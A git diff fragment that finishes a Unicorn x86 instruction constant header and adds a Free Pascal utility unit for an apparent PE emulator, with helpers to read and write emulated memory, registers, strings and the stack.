UC_X86_INS_VADDSUBPD, + UC_X86_INS_VADDSUBPS, + UC_X86_INS_VAESDECLAST, + UC_X86_INS_VAESDEC, + UC_X86_INS_VAESENCLAST, + UC_X86_INS_VAESENC, + UC_X86_INS_VAESIMC, + UC_X86_INS_VAESKEYGENASSIST, + UC_X86_INS_VALIGND, + UC_X86_INS_VALIGNQ, + UC_X86_INS_VANDNPD, + UC_X86_INS_VANDNPS, + UC_X86_INS_VANDPD, + UC_X86_INS_VANDPS, + UC_X86_INS_VBLENDMPD, + UC_X86_INS_VBLENDMPS, + UC_X86_INS_VBLENDPD, + UC_X86_INS_VBLENDPS, + UC_X86_INS_VBLENDVPD, + UC_X86_INS_VBLENDVPS, + UC_X86_INS_VBROADCASTF128, + UC_X86_INS_VBROADCASTI32X4, + UC_X86_INS_VBROADCASTI64X4, + UC_X86_INS_VBROADCASTSD, + UC_X86_INS_VBROADCASTSS, + UC_X86_INS_VCMPPD, + UC_X86_INS_VCMPPS, + UC_X86_INS_VCMPSD, + UC_X86_INS_VCMPSS, + UC_X86_INS_VCOMPRESSPD, + UC_X86_INS_VCOMPRESSPS, + UC_X86_INS_VCVTDQ2PD, + UC_X86_INS_VCVTDQ2PS, + UC_X86_INS_VCVTPD2DQX, + UC_X86_INS_VCVTPD2DQ, + UC_X86_INS_VCVTPD2PSX, + UC_X86_INS_VCVTPD2PS, + UC_X86_INS_VCVTPD2UDQ, + UC_X86_INS_VCVTPH2PS, + UC_X86_INS_VCVTPS2DQ, + UC_X86_INS_VCVTPS2PD, + UC_X86_INS_VCVTPS2PH, + UC_X86_INS_VCVTPS2UDQ, + UC_X86_INS_VCVTSD2SI, + UC_X86_INS_VCVTSD2USI, + UC_X86_INS_VCVTSS2SI, + UC_X86_INS_VCVTSS2USI, + UC_X86_INS_VCVTTPD2DQX, + UC_X86_INS_VCVTTPD2DQ, + UC_X86_INS_VCVTTPD2UDQ, + UC_X86_INS_VCVTTPS2DQ, + UC_X86_INS_VCVTTPS2UDQ, + UC_X86_INS_VCVTUDQ2PD, + UC_X86_INS_VCVTUDQ2PS, + UC_X86_INS_VDIVPD, + UC_X86_INS_VDIVPS, + UC_X86_INS_VDIVSD, + UC_X86_INS_VDIVSS, + UC_X86_INS_VDPPD, + UC_X86_INS_VDPPS, + UC_X86_INS_VERR, + UC_X86_INS_VERW, + UC_X86_INS_VEXP2PD, + UC_X86_INS_VEXP2PS, + UC_X86_INS_VEXPANDPD, + UC_X86_INS_VEXPANDPS, + UC_X86_INS_VEXTRACTF128, + UC_X86_INS_VEXTRACTF32X4, + UC_X86_INS_VEXTRACTF64X4, + UC_X86_INS_VEXTRACTI128, + UC_X86_INS_VEXTRACTI32X4, + UC_X86_INS_VEXTRACTI64X4, + UC_X86_INS_VEXTRACTPS, + UC_X86_INS_VFMADD132PD, + UC_X86_INS_VFMADD132PS, + UC_X86_INS_VFMADDPD, + UC_X86_INS_VFMADD213PD, + UC_X86_INS_VFMADD231PD, + UC_X86_INS_VFMADDPS, + UC_X86_INS_VFMADD213PS, + UC_X86_INS_VFMADD231PS, + UC_X86_INS_VFMADDSD, + UC_X86_INS_VFMADD213SD, + UC_X86_INS_VFMADD132SD, + UC_X86_INS_VFMADD231SD, + UC_X86_INS_VFMADDSS, + UC_X86_INS_VFMADD213SS, + UC_X86_INS_VFMADD132SS, + UC_X86_INS_VFMADD231SS, + UC_X86_INS_VFMADDSUB132PD, + UC_X86_INS_VFMADDSUB132PS, + UC_X86_INS_VFMADDSUBPD, + UC_X86_INS_VFMADDSUB213PD, + UC_X86_INS_VFMADDSUB231PD, + UC_X86_INS_VFMADDSUBPS, + UC_X86_INS_VFMADDSUB213PS, + UC_X86_INS_VFMADDSUB231PS, + UC_X86_INS_VFMSUB132PD, + UC_X86_INS_VFMSUB132PS, + UC_X86_INS_VFMSUBADD132PD, + UC_X86_INS_VFMSUBADD132PS, + UC_X86_INS_VFMSUBADDPD, + UC_X86_INS_VFMSUBADD213PD, + UC_X86_INS_VFMSUBADD231PD, + UC_X86_INS_VFMSUBADDPS, + UC_X86_INS_VFMSUBADD213PS, + UC_X86_INS_VFMSUBADD231PS, + UC_X86_INS_VFMSUBPD, + UC_X86_INS_VFMSUB213PD, + UC_X86_INS_VFMSUB231PD, + UC_X86_INS_VFMSUBPS, + UC_X86_INS_VFMSUB213PS, + UC_X86_INS_VFMSUB231PS, + UC_X86_INS_VFMSUBSD, + UC_X86_INS_VFMSUB213SD, + UC_X86_INS_VFMSUB132SD, + UC_X86_INS_VFMSUB231SD, + UC_X86_INS_VFMSUBSS, + UC_X86_INS_VFMSUB213SS, + UC_X86_INS_VFMSUB132SS, + UC_X86_INS_VFMSUB231SS, + UC_X86_INS_VFNMADD132PD, + UC_X86_INS_VFNMADD132PS, + UC_X86_INS_VFNMADDPD, + UC_X86_INS_VFNMADD213PD, + UC_X86_INS_VFNMADD231PD, + UC_X86_INS_VFNMADDPS, + UC_X86_INS_VFNMADD213PS, + UC_X86_INS_VFNMADD231PS, + UC_X86_INS_VFNMADDSD, + UC_X86_INS_VFNMADD213SD, + UC_X86_INS_VFNMADD132SD, + UC_X86_INS_VFNMADD231SD, + UC_X86_INS_VFNMADDSS, + UC_X86_INS_VFNMADD213SS, + UC_X86_INS_VFNMADD132SS, + UC_X86_INS_VFNMADD231SS, + UC_X86_INS_VFNMSUB132PD, + UC_X86_INS_VFNMSUB132PS, + UC_X86_INS_VFNMSUBPD, + UC_X86_INS_VFNMSUB213PD, + UC_X86_INS_VFNMSUB231PD, + UC_X86_INS_VFNMSUBPS, + UC_X86_INS_VFNMSUB213PS, + UC_X86_INS_VFNMSUB231PS, + UC_X86_INS_VFNMSUBSD, + UC_X86_INS_VFNMSUB213SD, + UC_X86_INS_VFNMSUB132SD, + UC_X86_INS_VFNMSUB231SD, + UC_X86_INS_VFNMSUBSS, + UC_X86_INS_VFNMSUB213SS, + UC_X86_INS_VFNMSUB132SS, + UC_X86_INS_VFNMSUB231SS, + UC_X86_INS_VFRCZPD, + UC_X86_INS_VFRCZPS, + UC_X86_INS_VFRCZSD, + UC_X86_INS_VFRCZSS, + UC_X86_INS_VORPD, + UC_X86_INS_VORPS, + UC_X86_INS_VXORPD, + UC_X86_INS_VXORPS, + UC_X86_INS_VGATHERDPD, + UC_X86_INS_VGATHERDPS, + UC_X86_INS_VGATHERPF0DPD, + UC_X86_INS_VGATHERPF0DPS, + UC_X86_INS_VGATHERPF0QPD, + UC_X86_INS_VGATHERPF0QPS, + UC_X86_INS_VGATHERPF1DPD, + UC_X86_INS_VGATHERPF1DPS, + UC_X86_INS_VGATHERPF1QPD, + UC_X86_INS_VGATHERPF1QPS, + UC_X86_INS_VGATHERQPD, + UC_X86_INS_VGATHERQPS, + UC_X86_INS_VHADDPD, + UC_X86_INS_VHADDPS, + UC_X86_INS_VHSUBPD, + UC_X86_INS_VHSUBPS, + UC_X86_INS_VINSERTF128, + UC_X86_INS_VINSERTF32X4, + UC_X86_INS_VINSERTF32X8, + UC_X86_INS_VINSERTF64X2, + UC_X86_INS_VINSERTF64X4, + UC_X86_INS_VINSERTI128, + UC_X86_INS_VINSERTI32X4, + UC_X86_INS_VINSERTI32X8, + UC_X86_INS_VINSERTI64X2, + UC_X86_INS_VINSERTI64X4, + UC_X86_INS_VINSERTPS, + UC_X86_INS_VLDDQU, + UC_X86_INS_VLDMXCSR, + UC_X86_INS_VMASKMOVDQU, + UC_X86_INS_VMASKMOVPD, + UC_X86_INS_VMASKMOVPS, + UC_X86_INS_VMAXPD, + UC_X86_INS_VMAXPS, + UC_X86_INS_VMAXSD, + UC_X86_INS_VMAXSS, + UC_X86_INS_VMCALL, + UC_X86_INS_VMCLEAR, + UC_X86_INS_VMFUNC, + UC_X86_INS_VMINPD, + UC_X86_INS_VMINPS, + UC_X86_INS_VMINSD, + UC_X86_INS_VMINSS, + UC_X86_INS_VMLAUNCH, + UC_X86_INS_VMLOAD, + UC_X86_INS_VMMCALL, + UC_X86_INS_VMOVQ, + UC_X86_INS_VMOVDDUP, + UC_X86_INS_VMOVD, + UC_X86_INS_VMOVDQA32, + UC_X86_INS_VMOVDQA64, + UC_X86_INS_VMOVDQA, + UC_X86_INS_VMOVDQU16, + UC_X86_INS_VMOVDQU32, + UC_X86_INS_VMOVDQU64, + UC_X86_INS_VMOVDQU8, + UC_X86_INS_VMOVDQU, + UC_X86_INS_VMOVHLPS, + UC_X86_INS_VMOVHPD, + UC_X86_INS_VMOVHPS, + UC_X86_INS_VMOVLHPS, + UC_X86_INS_VMOVLPD, + UC_X86_INS_VMOVLPS, + UC_X86_INS_VMOVMSKPD, + UC_X86_INS_VMOVMSKPS, + UC_X86_INS_VMOVNTDQA, + UC_X86_INS_VMOVNTDQ, + UC_X86_INS_VMOVNTPD, + UC_X86_INS_VMOVNTPS, + UC_X86_INS_VMOVSD, + UC_X86_INS_VMOVSHDUP, + UC_X86_INS_VMOVSLDUP, + UC_X86_INS_VMOVSS, + UC_X86_INS_VMOVUPD, + UC_X86_INS_VMOVUPS, + UC_X86_INS_VMPSADBW, + UC_X86_INS_VMPTRLD, + UC_X86_INS_VMPTRST, + UC_X86_INS_VMREAD, + UC_X86_INS_VMRESUME, + UC_X86_INS_VMRUN, + UC_X86_INS_VMSAVE, + UC_X86_INS_VMULPD, + UC_X86_INS_VMULPS, + UC_X86_INS_VMULSD, + UC_X86_INS_VMULSS, + UC_X86_INS_VMWRITE, + UC_X86_INS_VMXOFF, + UC_X86_INS_VMXON, + UC_X86_INS_VPABSB, + UC_X86_INS_VPABSD, + UC_X86_INS_VPABSQ, + UC_X86_INS_VPABSW, + UC_X86_INS_VPACKSSDW, + UC_X86_INS_VPACKSSWB, + UC_X86_INS_VPACKUSDW, + UC_X86_INS_VPACKUSWB, + UC_X86_INS_VPADDB, + UC_X86_INS_VPADDD, + UC_X86_INS_VPADDQ, + UC_X86_INS_VPADDSB, + UC_X86_INS_VPADDSW, + UC_X86_INS_VPADDUSB, + UC_X86_INS_VPADDUSW, + UC_X86_INS_VPADDW, + UC_X86_INS_VPALIGNR, + UC_X86_INS_VPANDD, + UC_X86_INS_VPANDND, + UC_X86_INS_VPANDNQ, + UC_X86_INS_VPANDN, + UC_X86_INS_VPANDQ, + UC_X86_INS_VPAND, + UC_X86_INS_VPAVGB, + UC_X86_INS_VPAVGW, + UC_X86_INS_VPBLENDD, + UC_X86_INS_VPBLENDMB, + UC_X86_INS_VPBLENDMD, + UC_X86_INS_VPBLENDMQ, + UC_X86_INS_VPBLENDMW, + UC_X86_INS_VPBLENDVB, + UC_X86_INS_VPBLENDW, + UC_X86_INS_VPBROADCASTB, + UC_X86_INS_VPBROADCASTD, + UC_X86_INS_VPBROADCASTMB2Q, + UC_X86_INS_VPBROADCASTMW2D, + UC_X86_INS_VPBROADCASTQ, + UC_X86_INS_VPBROADCASTW, + UC_X86_INS_VPCLMULQDQ, + UC_X86_INS_VPCMOV, + UC_X86_INS_VPCMPB, + UC_X86_INS_VPCMPD, + UC_X86_INS_VPCMPEQB, + UC_X86_INS_VPCMPEQD, + UC_X86_INS_VPCMPEQQ, + UC_X86_INS_VPCMPEQW, + UC_X86_INS_VPCMPESTRI, + UC_X86_INS_VPCMPESTRM, + UC_X86_INS_VPCMPGTB, + UC_X86_INS_VPCMPGTD, + UC_X86_INS_VPCMPGTQ, + UC_X86_INS_VPCMPGTW, + UC_X86_INS_VPCMPISTRI, + UC_X86_INS_VPCMPISTRM, + UC_X86_INS_VPCMPQ, + UC_X86_INS_VPCMPUB, + UC_X86_INS_VPCMPUD, + UC_X86_INS_VPCMPUQ, + UC_X86_INS_VPCMPUW, + UC_X86_INS_VPCMPW, + UC_X86_INS_VPCOMB, + UC_X86_INS_VPCOMD, + UC_X86_INS_VPCOMPRESSD, + UC_X86_INS_VPCOMPRESSQ, + UC_X86_INS_VPCOMQ, + UC_X86_INS_VPCOMUB, + UC_X86_INS_VPCOMUD, + UC_X86_INS_VPCOMUQ, + UC_X86_INS_VPCOMUW, + UC_X86_INS_VPCOMW, + UC_X86_INS_VPCONFLICTD, + UC_X86_INS_VPCONFLICTQ, + UC_X86_INS_VPERM2F128, + UC_X86_INS_VPERM2I128, + UC_X86_INS_VPERMD, + UC_X86_INS_VPERMI2D, + UC_X86_INS_VPERMI2PD, + UC_X86_INS_VPERMI2PS, + UC_X86_INS_VPERMI2Q, + UC_X86_INS_VPERMIL2PD, + UC_X86_INS_VPERMIL2PS, + UC_X86_INS_VPERMILPD, + UC_X86_INS_VPERMILPS, + UC_X86_INS_VPERMPD, + UC_X86_INS_VPERMPS, + UC_X86_INS_VPERMQ, + UC_X86_INS_VPERMT2D, + UC_X86_INS_VPERMT2PD, + UC_X86_INS_VPERMT2PS, + UC_X86_INS_VPERMT2Q, + UC_X86_INS_VPEXPANDD, + UC_X86_INS_VPEXPANDQ, + UC_X86_INS_VPEXTRB, + UC_X86_INS_VPEXTRD, + UC_X86_INS_VPEXTRQ, + UC_X86_INS_VPEXTRW, + UC_X86_INS_VPGATHERDD, + UC_X86_INS_VPGATHERDQ, + UC_X86_INS_VPGATHERQD, + UC_X86_INS_VPGATHERQQ, + UC_X86_INS_VPHADDBD, + UC_X86_INS_VPHADDBQ, + UC_X86_INS_VPHADDBW, + UC_X86_INS_VPHADDDQ, + UC_X86_INS_VPHADDD, + UC_X86_INS_VPHADDSW, + UC_X86_INS_VPHADDUBD, + UC_X86_INS_VPHADDUBQ, + UC_X86_INS_VPHADDUBW, + UC_X86_INS_VPHADDUDQ, + UC_X86_INS_VPHADDUWD, + UC_X86_INS_VPHADDUWQ, + UC_X86_INS_VPHADDWD, + UC_X86_INS_VPHADDWQ, + UC_X86_INS_VPHADDW, + UC_X86_INS_VPHMINPOSUW, + UC_X86_INS_VPHSUBBW, + UC_X86_INS_VPHSUBDQ, + UC_X86_INS_VPHSUBD, + UC_X86_INS_VPHSUBSW, + UC_X86_INS_VPHSUBWD, + UC_X86_INS_VPHSUBW, + UC_X86_INS_VPINSRB, + UC_X86_INS_VPINSRD, + UC_X86_INS_VPINSRQ, + UC_X86_INS_VPINSRW, + UC_X86_INS_VPLZCNTD, + UC_X86_INS_VPLZCNTQ, + UC_X86_INS_VPMACSDD, + UC_X86_INS_VPMACSDQH, + UC_X86_INS_VPMACSDQL, + UC_X86_INS_VPMACSSDD, + UC_X86_INS_VPMACSSDQH, + UC_X86_INS_VPMACSSDQL, + UC_X86_INS_VPMACSSWD, + UC_X86_INS_VPMACSSWW, + UC_X86_INS_VPMACSWD, + UC_X86_INS_VPMACSWW, + UC_X86_INS_VPMADCSSWD, + UC_X86_INS_VPMADCSWD, + UC_X86_INS_VPMADDUBSW, + UC_X86_INS_VPMADDWD, + UC_X86_INS_VPMASKMOVD, + UC_X86_INS_VPMASKMOVQ, + UC_X86_INS_VPMAXSB, + UC_X86_INS_VPMAXSD, + UC_X86_INS_VPMAXSQ, + UC_X86_INS_VPMAXSW, + UC_X86_INS_VPMAXUB, + UC_X86_INS_VPMAXUD, + UC_X86_INS_VPMAXUQ, + UC_X86_INS_VPMAXUW, + UC_X86_INS_VPMINSB, + UC_X86_INS_VPMINSD, + UC_X86_INS_VPMINSQ, + UC_X86_INS_VPMINSW, + UC_X86_INS_VPMINUB, + UC_X86_INS_VPMINUD, + UC_X86_INS_VPMINUQ, + UC_X86_INS_VPMINUW, + UC_X86_INS_VPMOVDB, + UC_X86_INS_VPMOVDW, + UC_X86_INS_VPMOVM2B, + UC_X86_INS_VPMOVM2D, + UC_X86_INS_VPMOVM2Q, + UC_X86_INS_VPMOVM2W, + UC_X86_INS_VPMOVMSKB, + UC_X86_INS_VPMOVQB, + UC_X86_INS_VPMOVQD, + UC_X86_INS_VPMOVQW, + UC_X86_INS_VPMOVSDB, + UC_X86_INS_VPMOVSDW, + UC_X86_INS_VPMOVSQB, + UC_X86_INS_VPMOVSQD, + UC_X86_INS_VPMOVSQW, + UC_X86_INS_VPMOVSXBD, + UC_X86_INS_VPMOVSXBQ, + UC_X86_INS_VPMOVSXBW, + UC_X86_INS_VPMOVSXDQ, + UC_X86_INS_VPMOVSXWD, + UC_X86_INS_VPMOVSXWQ, + UC_X86_INS_VPMOVUSDB, + UC_X86_INS_VPMOVUSDW, + UC_X86_INS_VPMOVUSQB, + UC_X86_INS_VPMOVUSQD, + UC_X86_INS_VPMOVUSQW, + UC_X86_INS_VPMOVZXBD, + UC_X86_INS_VPMOVZXBQ, + UC_X86_INS_VPMOVZXBW, + UC_X86_INS_VPMOVZXDQ, + UC_X86_INS_VPMOVZXWD, + UC_X86_INS_VPMOVZXWQ, + UC_X86_INS_VPMULDQ, + UC_X86_INS_VPMULHRSW, + UC_X86_INS_VPMULHUW, + UC_X86_INS_VPMULHW, + UC_X86_INS_VPMULLD, + UC_X86_INS_VPMULLQ, + UC_X86_INS_VPMULLW, + UC_X86_INS_VPMULUDQ, + UC_X86_INS_VPORD, + UC_X86_INS_VPORQ, + UC_X86_INS_VPOR, + UC_X86_INS_VPPERM, + UC_X86_INS_VPROTB, + UC_X86_INS_VPROTD, + UC_X86_INS_VPROTQ, + UC_X86_INS_VPROTW, + UC_X86_INS_VPSADBW, + UC_X86_INS_VPSCATTERDD, + UC_X86_INS_VPSCATTERDQ, + UC_X86_INS_VPSCATTERQD, + UC_X86_INS_VPSCATTERQQ, + UC_X86_INS_VPSHAB, + UC_X86_INS_VPSHAD, + UC_X86_INS_VPSHAQ, + UC_X86_INS_VPSHAW, + UC_X86_INS_VPSHLB, + UC_X86_INS_VPSHLD, + UC_X86_INS_VPSHLQ, + UC_X86_INS_VPSHLW, + UC_X86_INS_VPSHUFB, + UC_X86_INS_VPSHUFD, + UC_X86_INS_VPSHUFHW, + UC_X86_INS_VPSHUFLW, + UC_X86_INS_VPSIGNB, + UC_X86_INS_VPSIGND, + UC_X86_INS_VPSIGNW, + UC_X86_INS_VPSLLDQ, + UC_X86_INS_VPSLLD, + UC_X86_INS_VPSLLQ, + UC_X86_INS_VPSLLVD, + UC_X86_INS_VPSLLVQ, + UC_X86_INS_VPSLLW, + UC_X86_INS_VPSRAD, + UC_X86_INS_VPSRAQ, + UC_X86_INS_VPSRAVD, + UC_X86_INS_VPSRAVQ, + UC_X86_INS_VPSRAW, + UC_X86_INS_VPSRLDQ, + UC_X86_INS_VPSRLD, + UC_X86_INS_VPSRLQ, + UC_X86_INS_VPSRLVD, + UC_X86_INS_VPSRLVQ, + UC_X86_INS_VPSRLW, + UC_X86_INS_VPSUBB, + UC_X86_INS_VPSUBD, + UC_X86_INS_VPSUBQ, + UC_X86_INS_VPSUBSB, + UC_X86_INS_VPSUBSW, + UC_X86_INS_VPSUBUSB, + UC_X86_INS_VPSUBUSW, + UC_X86_INS_VPSUBW, + UC_X86_INS_VPTESTMD, + UC_X86_INS_VPTESTMQ, + UC_X86_INS_VPTESTNMD, + UC_X86_INS_VPTESTNMQ, + UC_X86_INS_VPTEST, + UC_X86_INS_VPUNPCKHBW, + UC_X86_INS_VPUNPCKHDQ, + UC_X86_INS_VPUNPCKHQDQ, + UC_X86_INS_VPUNPCKHWD, + UC_X86_INS_VPUNPCKLBW, + UC_X86_INS_VPUNPCKLDQ, + UC_X86_INS_VPUNPCKLQDQ, + UC_X86_INS_VPUNPCKLWD, + UC_X86_INS_VPXORD, + UC_X86_INS_VPXORQ, + UC_X86_INS_VPXOR, + UC_X86_INS_VRCP14PD, + UC_X86_INS_VRCP14PS, + UC_X86_INS_VRCP14SD, + UC_X86_INS_VRCP14SS, + UC_X86_INS_VRCP28PD, + UC_X86_INS_VRCP28PS, + UC_X86_INS_VRCP28SD, + UC_X86_INS_VRCP28SS, + UC_X86_INS_VRCPPS, + UC_X86_INS_VRCPSS, + UC_X86_INS_VRNDSCALEPD, + UC_X86_INS_VRNDSCALEPS, + UC_X86_INS_VRNDSCALESD, + UC_X86_INS_VRNDSCALESS, + UC_X86_INS_VROUNDPD, + UC_X86_INS_VROUNDPS, + UC_X86_INS_VROUNDSD, + UC_X86_INS_VROUNDSS, + UC_X86_INS_VRSQRT14PD, + UC_X86_INS_VRSQRT14PS, + UC_X86_INS_VRSQRT14SD, + UC_X86_INS_VRSQRT14SS, + UC_X86_INS_VRSQRT28PD, + UC_X86_INS_VRSQRT28PS, + UC_X86_INS_VRSQRT28SD, + UC_X86_INS_VRSQRT28SS, + UC_X86_INS_VRSQRTPS, + UC_X86_INS_VRSQRTSS, + UC_X86_INS_VSCATTERDPD, + UC_X86_INS_VSCATTERDPS, + UC_X86_INS_VSCATTERPF0DPD, + UC_X86_INS_VSCATTERPF0DPS, + UC_X86_INS_VSCATTERPF0QPD, + UC_X86_INS_VSCATTERPF0QPS, + UC_X86_INS_VSCATTERPF1DPD, + UC_X86_INS_VSCATTERPF1DPS, + UC_X86_INS_VSCATTERPF1QPD, + UC_X86_INS_VSCATTERPF1QPS, + UC_X86_INS_VSCATTERQPD, + UC_X86_INS_VSCATTERQPS, + UC_X86_INS_VSHUFPD, + UC_X86_INS_VSHUFPS, + UC_X86_INS_VSQRTPD, + UC_X86_INS_VSQRTPS, + UC_X86_INS_VSQRTSD, + UC_X86_INS_VSQRTSS, + UC_X86_INS_VSTMXCSR, + UC_X86_INS_VSUBPD, + UC_X86_INS_VSUBPS, + UC_X86_INS_VSUBSD, + UC_X86_INS_VSUBSS, + UC_X86_INS_VTESTPD, + UC_X86_INS_VTESTPS, + UC_X86_INS_VUNPCKHPD, + UC_X86_INS_VUNPCKHPS, + UC_X86_INS_VUNPCKLPD, + UC_X86_INS_VUNPCKLPS, + UC_X86_INS_VZEROALL, + UC_X86_INS_VZEROUPPER, + UC_X86_INS_WAIT, + UC_X86_INS_WBINVD, + UC_X86_INS_WRFSBASE, + UC_X86_INS_WRGSBASE, + UC_X86_INS_WRMSR, + UC_X86_INS_XABORT, + UC_X86_INS_XACQUIRE, + UC_X86_INS_XBEGIN, + UC_X86_INS_XCHG, + UC_X86_INS_XCRYPTCBC, + UC_X86_INS_XCRYPTCFB, + UC_X86_INS_XCRYPTCTR, + UC_X86_INS_XCRYPTECB, + UC_X86_INS_XCRYPTOFB, + UC_X86_INS_XEND, + UC_X86_INS_XGETBV, + UC_X86_INS_XLATB, + UC_X86_INS_XRELEASE, + UC_X86_INS_XRSTOR, + UC_X86_INS_XRSTOR64, + UC_X86_INS_XRSTORS, + UC_X86_INS_XRSTORS64, + UC_X86_INS_XSAVE, + UC_X86_INS_XSAVE64, + UC_X86_INS_XSAVEC, + UC_X86_INS_XSAVEC64, + UC_X86_INS_XSAVEOPT, + UC_X86_INS_XSAVEOPT64, + UC_X86_INS_XSAVES, + UC_X86_INS_XSAVES64, + UC_X86_INS_XSETBV, + UC_X86_INS_XSHA1, + UC_X86_INS_XSHA256, + UC_X86_INS_XSTORE, + UC_X86_INS_XTEST, + UC_X86_INS_FDISI8087_NOP, + UC_X86_INS_FENI8087_NOP, + + UC_X86_INS_ENDING, // mark the end of the list of insn +} uc_x86_insn; + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/Core/utils.pas b/Core/utils.pas new file mode 100644 index 0000000..b578f0c --- /dev/null +++ b/Core/utils.pas @@ -0,0 +1,426 @@ +unit Utils; + +{$mode delphi} +interface + +uses + Classes, SysUtils,strutils,FileUtil, + Unicorn_dyn, UnicornConst, X86Const, + {$i besenunits.inc}, + Capstone, CapstoneCmn, CapstoneApi; + +type + TArray = Array of byte; + +procedure HexDump(mem : PByte; len : integer; VirtualAddr : UInt64 = 0; COLS : byte = 16); +procedure DumpStack(Addr : UInt64; Size : Cardinal); + +function reg_read_x32(uc : uc_engine; reg : integer): UInt32; +function reg_read_x64(uc : uc_engine; reg : integer): UInt64; + +function reg_write_x64(uc : uc_engine; reg: integer; value : UInt64): boolean; +function reg_write_x32(uc : uc_engine; reg: integer; value : UInt32): boolean; +function DisAsm(code : Pointer; Addr : UInt64; Size : UInt32) : TCsInsn; + + +// Emulator JS Wrappers . +function GetModulehandle(Module : String) : UInt64; +function GetProcAddr(Handle : UInt64; FnName : String): UInt64; +function push(value : UInt64): Boolean; +function pop(): UInt64; + +function ReadStringA( Addr : UInt64; len : UInt32 = 0): AnsiString; +function ReadStringW( Addr : UInt64; len : UInt32 = 0): AnsiString; + +function WriteStringA( Addr : UInt64; Str : AnsiString): UInt32; +function WriteStringW( Addr : UInt64; Str : AnsiString): UInt32; + +function WriteMem(Addr : UInt64; value : Pointer; len : UInt32) : boolean; +function WriteByte(Addr : UInt64; value : byte) : boolean; +function WriteWord(Addr : UInt64; value : word) : boolean; +function WriteDword(Addr : UInt64; value : dword) : boolean; +function WriteQword(Addr : UInt64; value : qword) : boolean; + +function ReadMem(Addr : UInt64; len : UInt32) : TArray; +function ReadByte(Addr : UInt64) : Byte; +function ReadWord(Addr : UInt64) : Word; +function ReadDword(Addr : UInt64) : Int32; +function ReadQword(Addr : UInt64) : Int64; + +function isprint(const AC: AnsiChar): boolean; + +const + UC_PAGE_SIZE = $1000; + +implementation + uses + Globals,math,FnHook; + +function isprint(const AC: AnsiChar): boolean; +begin + Result := (AC >= ' ') and (AC <= '~') and (Ord(AC) <> $7F); +end; + +function IsStringPrintable( Str : String): Boolean; +var + i : Integer; +begin + for i := 1 to Length(Str) do + begin + if not isprint(Str[i]) then + begin + Result := False; + Break; + end; + Result := True; + end; +end; + +// this code will read UTF8 string from given Address :D .. +function ReadStringW(Addr : UInt64; len : UInt32 = 0) : AnsiString; +var + ch : WORD; + count : UInt32; +const + MAX_LEN = 1256; +begin + Result := ''; + ch := 0; count := 0; + if len = 0 then len := MAX_LEN; // Set Max len if not set :V .. + repeat + Emulator.err := uc_mem_read_(Emulator.uc,Addr,@ch,2); + Result += BESENUTF32CharToUTF8(ch); + inc(count); + inc(Addr,2); + until (ch = 0) or (count >= len); + Result := Trim(Result); +end; + +// this code will read ASCII string from given Address :D .. +function ReadStringA( Addr : UInt64; len : UInt32 = 0): AnsiString; +var + ch : byte; + count : UInt32; +const + MAX_LEN = 1256; +begin + Result := ''; + ch := 0; count := 0; + if len = 0 then len := MAX_LEN; // Set Max len if not set :V .. + repeat + Emulator.err := uc_mem_read_(Emulator.uc,Addr,@ch,1); + Result += Chr(ch); + inc(count); + inc(Addr); + until (ch = 0) or (count >= len); + Result := Trim(Result); +end; + +function WriteStringA( Addr : UInt64; Str : AnsiString): UInt32; +var + ch : byte; + i,len : integer; +begin + Result := 0; + len := length(Str); + ch := 0; + for i := 1 to len do + begin + ch := Ord(Str[i]); + Emulator.err := uc_mem_write_(Emulator.uc,Addr,@ch,1); + + // if Error then return with written len . + if Emulator.err <> UC_ERR_OK then break; + + inc(Result); + inc(Addr); + end; + // write null byte may overide another string starting byte ! . + //ch := 0; + //Emulator.err := uc_mem_write_(Emulator.uc,Addr+1,@ch,1); +end; + +function WriteStringW( Addr : UInt64; Str : AnsiString): UInt32; +var + ch : Word; + i,len : integer; +begin + Result := 0; + len := length(Str); + ch := 0; + for i := 1 to len do + begin + ch := word(Str[i]); + Emulator.err := uc_mem_write_(Emulator.uc,Addr,@ch,2); + + // if Error then return with written len . + if Emulator.err <> UC_ERR_OK then break; + + inc(Result); + inc(Addr,2); + end; + // write null byte may overide another string starting byte ! . + //ch := 0; + //Emulator.err := uc_mem_write_(Emulator.uc,Addr+2,@ch,2); +end; + +function WriteMem(Addr : UInt64; value : Pointer; len : UInt32) : boolean; +begin + Emulator.err := uc_mem_write_(Emulator.uc,Addr,value,len); + Result := Emulator.err = UC_ERR_OK; +end; + +function WriteByte(Addr : UInt64; value : byte) : boolean; +begin + Emulator.err := uc_mem_write_(Emulator.uc,Addr,@value,1); + Result := Emulator.err = UC_ERR_OK; +end; + +function WriteWord(Addr : UInt64; value : word) : boolean; +begin + Emulator.err := uc_mem_write_(Emulator.uc,Addr,@value,2); + Result := Emulator.err = UC_ERR_OK; +end; + +function WriteDword(Addr : UInt64; value : dword) : boolean; +begin + Emulator.err := uc_mem_write_(Emulator.uc,Addr,@value,4); + Result := Emulator.err = UC_ERR_OK; +end; + +function WriteQword(Addr : UInt64; value : qword) : boolean; +begin + Emulator.err := uc_mem_write_(Emulator.uc,Addr,@value,8); + Result := Emulator.err = UC_ERR_OK; +end; + +function ReadMem(Addr : UInt64; len : UInt32) : TArray; +begin + SetLength(Result,len); + Emulator.err := uc_mem_read_(Emulator.uc,Addr,@Result,len); +end; + +function ReadByte(Addr : UInt64) : Byte; +begin + Result := 0; + Emulator.err := uc_mem_read_(Emulator.uc,Addr,@Result,1); +end; + +function ReadWord(Addr : UInt64) : Word; +begin + Result := 0; + Emulator.err := uc_mem_read_(Emulator.uc,Addr,@Result,2); +end; + +function ReadDword(Addr : UInt64) : Int32; +begin + Result := 0; + Emulator.err := uc_mem_read_(Emulator.uc,Addr,@Result,4); +end; + +function ReadQword(Addr : UInt64) : Int64; +begin + Result := 0; + Emulator.err := uc_mem_read_(Emulator.uc,Addr,@Result,8); +end; + + +function push(value : UInt64): Boolean; +var + Stack : UInt64; +begin + Result := False; Stack := 0; + Emulator.err := uc_reg_read(Emulator.uc,ifthen(Emulator.PE_x64,UC_X86_REG_RSP,UC_X86_REG_ESP),@Stack); + if Emulator.err = UC_ERR_OK then + begin + Stack -= Emulator.img.ImageWordSize;// sub StackPointer,{4 or 8} . + Emulator.err := uc_reg_write(Emulator.uc,ifthen(Emulator.PE_x64,UC_X86_REG_RSP,UC_X86_REG_ESP),@Stack); + if Emulator.err = UC_ERR_OK then + begin + Emulator.err := uc_mem_write_(Emulator.uc,Stack,@value,Emulator.Img.ImageWordSize); + Result := True; + end; + end; +end; +// this code will read Stack Pointer then Read it's Value then . +// add 4 or 8 (ImageWordSize) Depend on File if x32 or x64 . +// then write it to Stack Pointer . 